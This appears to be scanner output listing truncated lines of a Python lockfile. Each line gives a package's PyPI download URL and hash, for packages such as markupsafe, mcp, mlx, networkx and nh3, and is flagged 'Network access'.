{ url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c2 - Network accessline 1363
{ url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f - Network accessline 1364
{ url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885 - Network accessline 1365
{ url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f - Network accessline 1366
{ url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b1 - Network accessline 1367
{ url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed311 - Network accessline 1368
{ url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda - Network accessline 1369
{ url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898d - Network accessline 1370
{ url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", - Network accessline 1371
{ url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a21 - Network accessline 1372
{ url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f40628 - Network accessline 1373
{ url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c - Network accessline 1374
{ url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b - Network accessline 1375
{ url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41 - Network accessline 1376
{ url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a95 - Network accessline 1377
{ url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43 - Network accessline 1378
{ url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2 - Network accessline 1379
{ url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4b - Network accessline 1380
{ url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c - Network accessline 1381
{ url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", s - Network accessline 1382
{ url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581 - Network accessline 1383
{ url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4 - Network accessline 1384
{ url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68f - Network accessline 1385
{ url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666 - Network accessline 1386
{ url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b - Network accessline 1387
{ url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac4 - Network accessline 1388
{ url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430 - Network accessline 1389
{ url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577 - Network accessline 1390
{ url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6 - Network accessline 1391
{ url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b - Network accessline 1392
{ url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", - Network accessline 1393
{ url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c - Network accessline 1394
{ url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40f - Network accessline 1398
name = "mcp" version = "2.2.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1399
version = "2.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1400
source = { registry = "https://pypi.org/simple" } - Network accessline 1415
{ name = "uvicorn", marker = "sys_platform != 'emscripten'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/76/31/ac54fb0fdd5b37de704486e288bba4fbbb463f24cfcfedbede407b854513/mcp-2.2.0.tar.gz", hash = "sha256:2dc37ecb1974becdc - Network accessline 1416
] sdist = { url = "https://files.pythonhosted.org/packages/76/31/ac54fb0fdd5b37de704486e288bba4fbbb463f24cfcfedbede407b854513/mcp-2.2.0.tar.gz", hash = "sha256:2dc37ecb1974becdcebdbf7561e7c15a07dbbf20ba21ba16c3593b3038b3afbd", size = 408412 - Network accessline 1417
sdist = { url = "https://files.pythonhosted.org/packages/76/31/ac54fb0fdd5b37de704486e288bba4fbbb463f24cfcfedbede407b854513/mcp-2.2.0.tar.gz", hash = "sha256:2dc37ecb1974becdcebdbf7561e7c15a07dbbf20ba21ba16c3593b3038b3afbd", size = 4084129, - Network accessline 1418
wheels = [ { url = "https://files.pythonhosted.org/packages/1b/ff/8e7eade68b8a28f7da0ed1085544341b51f9c935dbf6b95c76b7edfea6a0/mcp-2.2.0-py3-none-any.whl", hash = "sha256:bde982589473a060ae145e3406e9a5333fe538c97229ba841f5a7f92be004f81" - Network accessline 1419
{ url = "https://files.pythonhosted.org/packages/1b/ff/8e7eade68b8a28f7da0ed1085544341b51f9c935dbf6b95c76b7edfea6a0/mcp-2.2.0-py3-none-any.whl", hash = "sha256:bde982589473a060ae145e3406e9a5333fe538c97229ba841f5a7f92be004f81", size = 365656 - Network accessline 1423
name = "mcp-types" version = "2.2.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1424
version = "2.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1425
source = { registry = "https://pypi.org/simple" } - Network accessline 1428
{ name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/ae/91/762d7755d971aff8a28d75f7961656148edf27875c8026e6385aaab08ae7/mcp_types-2.2.0.tar.gz", hash = "sha256:d3ed53703ddd10d9c6399f29d322bb66f3f67ab413 - Network accessline 1429
] sdist = { url = "https://files.pythonhosted.org/packages/ae/91/762d7755d971aff8a28d75f7961656148edf27875c8026e6385aaab08ae7/mcp_types-2.2.0.tar.gz", hash = "sha256:d3ed53703ddd10d9c6399f29d322bb66f3f67ab41348ac8556ba23e07fedefad", size = - Network accessline 1430
sdist = { url = "https://files.pythonhosted.org/packages/ae/91/762d7755d971aff8a28d75f7961656148edf27875c8026e6385aaab08ae7/mcp_types-2.2.0.tar.gz", hash = "sha256:d3ed53703ddd10d9c6399f29d322bb66f3f67ab41348ac8556ba23e07fedefad", size = 65 - Network accessline 1431
wheels = [ { url = "https://files.pythonhosted.org/packages/8f/d7/6ffba5d8cd5dd9b8a19478875c50e04945314ba5074e84d749283f27f62d/mcp_types-2.2.0-py3-none-any.whl", hash = "sha256:ea476b73ee86709ab5abc9452385ed36cc05907e582355622e294595c9a - Network accessline 1432
{ url = "https://files.pythonhosted.org/packages/8f/d7/6ffba5d8cd5dd9b8a19478875c50e04945314ba5074e84d749283f27f62d/mcp_types-2.2.0-py3-none-any.whl", hash = "sha256:ea476b73ee86709ab5abc9452385ed36cc05907e582355622e294595c9a04f13", size = - Network accessline 1436
name = "mdurl" version = "0.1.2" source = { registry = "https://pypi.org/simple" } - Network accessline 1437
version = "0.1.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5ee - Network accessline 1438
source = { registry = "https://pypi.org/simple" } - Network accessline 1439
sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, - Network accessline 1440
wheels = [ { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f - Network accessline 1441
{ url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979 - Network accessline 1445
name = "mlx" version = "0.32.3" source = { registry = "https://pypi.org/simple" } - Network accessline 1446
version = "0.32.3" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1447
source = { registry = "https://pypi.org/simple" } - Network accessline 1450
] wheels = [ { url = "https://files.pythonhosted.org/packages/26/8c/2f8b796885b4c02ab9644916bebf656cd1d6d366df94d174b046903ea250/mlx-0.32.3-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:7aecc3d4a904279492dae58e28378a3c4bec4533e7066 - Network accessline 1451
wheels = [ { url = "https://files.pythonhosted.org/packages/26/8c/2f8b796885b4c02ab9644916bebf656cd1d6d366df94d174b046903ea250/mlx-0.32.3-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:7aecc3d4a904279492dae58e28378a3c4bec4533e7066e6 - Network accessline 1452
{ url = "https://files.pythonhosted.org/packages/26/8c/2f8b796885b4c02ab9644916bebf656cd1d6d366df94d174b046903ea250/mlx-0.32.3-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:7aecc3d4a904279492dae58e28378a3c4bec4533e7066e64ae5c78c7a5511f - Network accessline 1453
{ url = "https://files.pythonhosted.org/packages/6e/06/aacd94119d4a999d43f07f24b02904d7f895ee074ed4678b28456c319ea3/mlx-0.32.3-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:a6241ea8f56a08a6c3a06bbaad7d7fc2fc1c05f23757c61fe0a8797325ac6d - Network accessline 1454
{ url = "https://files.pythonhosted.org/packages/4a/c1/13ff85d72f7cf01239c1031688b11cf1c7a3f0c7380636728976e510bfbd/mlx-0.32.3-cp312-cp312-macosx_26_0_arm64.whl", hash = "sha256:72711cb23cc6dccc5a460f63f39c11931a00b2c6dcd6fba253921090072e21 - Network accessline 1455
{ url = "https://files.pythonhosted.org/packages/8c/e1/0039c25cb2e40e605de6409e6ede52b01b7c79d6a0727e0c103ec60d88b2/mlx-0.32.3-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:f5716b51fea3d06352d4d8c851fb6c5141b1a7de5a5164d44de5a6d368d84a - Network accessline 1456
{ url = "https://files.pythonhosted.org/packages/29/dc/01ac6c32fb405a542be80f021bc978125af51d2ee5ae1db624bfd954e756/mlx-0.32.3-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:656df5e36b9bfa862fd633d55dee4da072d292def9f27f22134c594e03ff28 - Network accessline 1457
{ url = "https://files.pythonhosted.org/packages/53/a9/70bf746c2cd13a198a429e33244d2f072ecd0c89508299a636529d3317cb/mlx-0.32.3-cp313-cp313-macosx_26_0_arm64.whl", hash = "sha256:75333afef55819afd2a31e87ffbed0bf59f379bca21771e6b13a95a675e4c8 - Network accessline 1458
{ url = "https://files.pythonhosted.org/packages/68/73/f1511b38c9b200fc84bff84470ff1e4303f2f7b47f614b14a2d3f4cd6226/mlx-0.32.3-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:65122a7eeb718df56641d7ac6f7fdb0ada573fd841d1fb0a61a6a443e33f1 - Network accessline 1459
{ url = "https://files.pythonhosted.org/packages/3e/40/20733670ac7a5571e10d80fb510bc0fbed6d0917a8e34cdf6c3de52b5a8e/mlx-0.32.3-cp313-cp313t-macosx_15_0_arm64.whl", hash = "sha256:e13f5ce391293dab946edf18e7ae7bb55768beef1140deb509f67a2b14edc - Network accessline 1460
{ url = "https://files.pythonhosted.org/packages/15/ac/65a1b9484f3eedb57dc73589af213d03821d13d99caa76430ad849be6114/mlx-0.32.3-cp313-cp313t-macosx_26_0_arm64.whl", hash = "sha256:15e8578c9d10b4fd4728243cd6c926bc46e1da267c6a849cdbceca21d51ca - Network accessline 1461
{ url = "https://files.pythonhosted.org/packages/74/91/4d7dc37533d5439e27e57b09d2200b1a7988e433259d9beac8f8241197e4/mlx-0.32.3-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:2dc1085f5c2eba18cdac095d7fb0b68ddfadd51bf695b18a1102eda15e77e7 - Network accessline 1462
{ url = "https://files.pythonhosted.org/packages/ed/50/b79bf60cad0cf3c6a0040c18963e682a628ad12bdd83ff0f45e9b5893b2d/mlx-0.32.3-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:712ca29119d9e2aae04af8f8e416bfb0097538d9ff73e6fab8b028053fb45f - Network accessline 1463
{ url = "https://files.pythonhosted.org/packages/d6/34/3bccf8ee413afb055b739215be3b74cb810ec655e508dc90bb3c79e4d16b/mlx-0.32.3-cp314-cp314-macosx_26_0_arm64.whl", hash = "sha256:452c621862684e8769be93c1517420c8ba2fd6e8b01a1c970c8ba8069022f0 - Network accessline 1464
{ url = "https://files.pythonhosted.org/packages/ae/31/254d11d662a0f68157f659ab7eb90216d51a71acabeb38e61e54c6927623/mlx-0.32.3-cp314-cp314t-macosx_14_0_arm64.whl", hash = "sha256:d17f0c33789009a3b3e609a52af34dc687ed39816836e20ab466aab669c14 - Network accessline 1465
{ url = "https://files.pythonhosted.org/packages/3f/94/32e6f4c3e24635ec79fb751fccecd624d9f40d6c15e013acb40973501443/mlx-0.32.3-cp314-cp314t-macosx_15_0_arm64.whl", hash = "sha256:5d12de01f23d2fae739ecfecd9c1d4c07c1f9b778a3729f7c0884ea1168ec - Network accessline 1466
{ url = "https://files.pythonhosted.org/packages/c5/c2/b94c58c0d634907fed225abe81bacc73901b5f1a9fb1b976d7232f03afcb/mlx-0.32.3-cp314-cp314t-macosx_26_0_arm64.whl", hash = "sha256:f2909f683ffc5a2720f6c8099398a64fd1be53f1b6538e4e728ee55816ce6 - Network accessline 1470
name = "mlx-metal" version = "0.32.3" source = { registry = "https://pypi.org/simple" } - Network accessline 1471
version = "0.32.3" source = { registry = "https://pypi.org/simple" } wheels = [ - Network accessline 1472
source = { registry = "https://pypi.org/simple" } - Network accessline 1473
wheels = [ { url = "https://files.pythonhosted.org/packages/f8/ed/8510985bcb24a6eae359a5441ce4cedcee13b84258a010cd0e515e9fb0bc/mlx_metal-0.32.3-py3-none-macosx_14_0_arm64.whl", hash = "sha256:fdba88ed9131448cf163be2c7ad6374746d8818205f2 - Network accessline 1474
{ url = "https://files.pythonhosted.org/packages/f8/ed/8510985bcb24a6eae359a5441ce4cedcee13b84258a010cd0e515e9fb0bc/mlx_metal-0.32.3-py3-none-macosx_14_0_arm64.whl", hash = "sha256:fdba88ed9131448cf163be2c7ad6374746d8818205f28657aa91b6c6905 - Network accessline 1475
{ url = "https://files.pythonhosted.org/packages/3c/dc/4f852295fbe357bb9d3a2bfd55361a520b94ded873b72dc58b34a7f507cd/mlx_metal-0.32.3-py3-none-macosx_15_0_arm64.whl", hash = "sha256:feea99fe4d01f9e9f33ca73d869f988219a1725de1c18870baa7d5cd5ae - Network accessline 1476
{ url = "https://files.pythonhosted.org/packages/ee/38/cb985ca86979ca6f954a2a45eb6e3f9b787c5d55227564a04f87953b3d56/mlx_metal-0.32.3-py3-none-macosx_26_0_arm64.whl", hash = "sha256:34ae9b83ad2f0ccdd3e5d48ec35176e7119f57069eef187122916dc941a - Network accessline 1480
name = "more-itertools" version = "11.0.2" source = { registry = "https://pypi.org/simple" } - Network accessline 1481
version = "11.0.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/a2/f7/139d22fef48ac78127d18e01d80cf1be40236ae489769d17f35c3d425293/more_itertools-11.0.2.tar.gz", hash = "sha256:3 - Network accessline 1482
source = { registry = "https://pypi.org/simple" } - Network accessline 1483
sdist = { url = "https://files.pythonhosted.org/packages/a2/f7/139d22fef48ac78127d18e01d80cf1be40236ae489769d17f35c3d425293/more_itertools-11.0.2.tar.gz", hash = "sha256:392a9e1e362cbc106a2457d37cabf9b36e5e12efd4ebff1654630e76597df804", siz - Network accessline 1484
wheels = [ { url = "https://files.pythonhosted.org/packages/cb/98/6af411189d9413534c3eb691182bff1f5c6d44ed2f93f2edfe52a1bbceb8/more_itertools-11.0.2-py3-none-any.whl", hash = "sha256:6e35b35f818b01f691643c6c611bc0902f2e92b46c18fffa77ae1 - Network accessline 1485
{ url = "https://files.pythonhosted.org/packages/cb/98/6af411189d9413534c3eb691182bff1f5c6d44ed2f93f2edfe52a1bbceb8/more_itertools-11.0.2-py3-none-any.whl", hash = "sha256:6e35b35f818b01f691643c6c611bc0902f2e92b46c18fffa77ae1e7c46e912e4", s - Network accessline 1489
name = "mpmath" version = "1.3.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1490
version = "1.3.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/e0/47/dd32fa426cc72114383ac549964eecb20ecfd886d1e5ccf5340b55b02f57/mpmath-1.3.0.tar.gz", hash = "sha256:7a28eb2a977 - Network accessline 1491
source = { registry = "https://pypi.org/simple" } - Network accessline 1492
sdist = { url = "https://files.pythonhosted.org/packages/e0/47/dd32fa426cc72114383ac549964eecb20ecfd886d1e5ccf5340b55b02f57/mpmath-1.3.0.tar.gz", hash = "sha256:7a28eb2a9774d00c7bc92411c19a89209d5da7c4c9a9e227be8330a23a25b91f", size = 50810 - Network accessline 1493
wheels = [ { url = "https://files.pythonhosted.org/packages/43/e3/7d92a15f894aa0c9c4b49b8ee9ac9850d6e63b03c9c32c0367a13ae62209/mpmath-1.3.0-py3-none-any.whl", hash = "sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d - Network accessline 1494
{ url = "https://files.pythonhosted.org/packages/43/e3/7d92a15f894aa0c9c4b49b8ee9ac9850d6e63b03c9c32c0367a13ae62209/mpmath-1.3.0-py3-none-any.whl", hash = "sha256:a0b2b9fe80bbcd81a6647ff13108738cfb482d481d826cc0e02f5b35e5c88d2c", size = 536 - Network accessline 1498
name = "networkx" version = "3.6.1" source = { registry = "https://pypi.org/simple" } - Network accessline 1499
version = "3.6.1" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/6a/51/63fe664f3908c97be9d2e4f1158eb633317598cfa6e1fc14af5383f17512/networkx-3.6.1.tar.gz", hash = "sha256:26b7c357a - Network accessline 1500
source = { registry = "https://pypi.org/simple" } - Network accessline 1501
sdist = { url = "https://files.pythonhosted.org/packages/6a/51/63fe664f3908c97be9d2e4f1158eb633317598cfa6e1fc14af5383f17512/networkx-3.6.1.tar.gz", hash = "sha256:26b7c357accc0c8cde558ad486283728b65b6a95d85ee1cd66bafab4c8168509", size = 251 - Network accessline 1502
wheels = [ { url = "https://files.pythonhosted.org/packages/9e/c9/b2622292ea83fbb4ec318f5b9ab867d0a28ab43c5717bb85b0a5f6b3b0a4/networkx-3.6.1-py3-none-any.whl", hash = "sha256:d47fbf302e7d9cbbb9e2555a0d267983d2aa476bac30e90dfbe5669bd57f - Network accessline 1503
{ url = "https://files.pythonhosted.org/packages/9e/c9/b2622292ea83fbb4ec318f5b9ab867d0a28ab43c5717bb85b0a5f6b3b0a4/networkx-3.6.1-py3-none-any.whl", hash = "sha256:d47fbf302e7d9cbbb9e2555a0d267983d2aa476bac30e90dfbe5669bd57f3762", size = 2 - Network accessline 1507
name = "nh3" version = "0.3.5" source = { registry = "https://pypi.org/simple" } - Network accessline 1508
version = "0.3.5" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/9c/5f/1d19bdc7d27238e37f3672cdc02cb77c56a4a86d140cd4f4f23c90df6e16/nh3-0.3.5.tar.gz", hash = "sha256:45855e14ff0560 - Network accessline 1509
source = { registry = "https://pypi.org/simple" } - Network accessline 1510
sdist = { url = "https://files.pythonhosted.org/packages/9c/5f/1d19bdc7d27238e37f3672cdc02cb77c56a4a86d140cd4f4f23c90df6e16/nh3-0.3.5.tar.gz", hash = "sha256:45855e14ff056064fec77133bfcf7cd691838168e5e17bbef075394954dc9dc8", size = 20743, u - Network accessline 1511
wheels = [ { url = "https://files.pythonhosted.org/packages/63/b0/8587ac42a9627ab88e7e221601f1dfccbf4db80b2a29222ea63266dc9abc/nh3-0.3.5-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:23a - Network accessline 1512
{ url = "https://files.pythonhosted.org/packages/63/b0/8587ac42a9627ab88e7e221601f1dfccbf4db80b2a29222ea63266dc9abc/nh3-0.3.5-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:23a312224875f72cd1 - Network accessline 1513
{ url = "https://files.pythonhosted.org/packages/c0/1b/1dbc4d0c43f12e8c1784ede17eaee6f061d4fbe5505757c65c49b2ceab95/nh3-0.3.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:387abd011e81959d5a35151a11350a0795c6e - Network accessline 1514
{ url = "https://files.pythonhosted.org/packages/47/9f/d6758d7a14ee964bf439cc35ae4fa24a763a93399c8ef6f22bd11d532d29/nh3-0.3.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:48f45e3e914be93a596431aa143dedf1582557bf41a58 - Network accessline 1515
{ url = "https://files.pythonhosted.org/packages/b6/36/d5d1ae8374612c98f390e1ea7c610fa6c9716259a03bbf4d15b269f40073/nh3-0.3.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0a09f51806fd51b4fedbf9ea2b61fef388f19aef0d62fe51199d41648b - Network accessline 1516
{ url = "https://files.pythonhosted.org/packages/ba/8f/d13a9c3fd2d9c131a2a281737380e9379eb0f8c33fea24c2b923aaafbb15/nh3-0.3.5-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:c357f1d042c67f135a5e6babb2b0e3b9d9224ff4a3543240f597767b013 - Network accessline 1517
{ url = "https://files.pythonhosted.org/packages/bb/57/2f3add7f8680fcc896afa6a675cb2bab09982853ee8af40bad621f6b61c4/nh3-0.3.5-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:38748140bf76383ab7ce2dce0ad4cb663855d8fbc9098f7f3483673d09616 - Network accessline 1518
{ url = "https://files.pythonhosted.org/packages/c1/c3/2f9e4ffa82863074d1361bfe949bc46393d91b3411579dfbbd090b24cac5/nh3-0.3.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:84bdeb082544fbcb77a12c034dd77d7da0556fdc0727b787eb6214b958c - Network accessline 1519
{ url = "https://files.pythonhosted.org/packages/e8/10/2804deb3f3315184c9cae41702e293c87524b5a21f766b07d7fe3ffbcfbb/nh3-0.3.5-cp314-cp314t-win32.whl", hash = "sha256:c3aae321f67ae66cff2a627115f106a377d4475d10b0e13d97959a13486b9a88", size = - Network accessline 1520
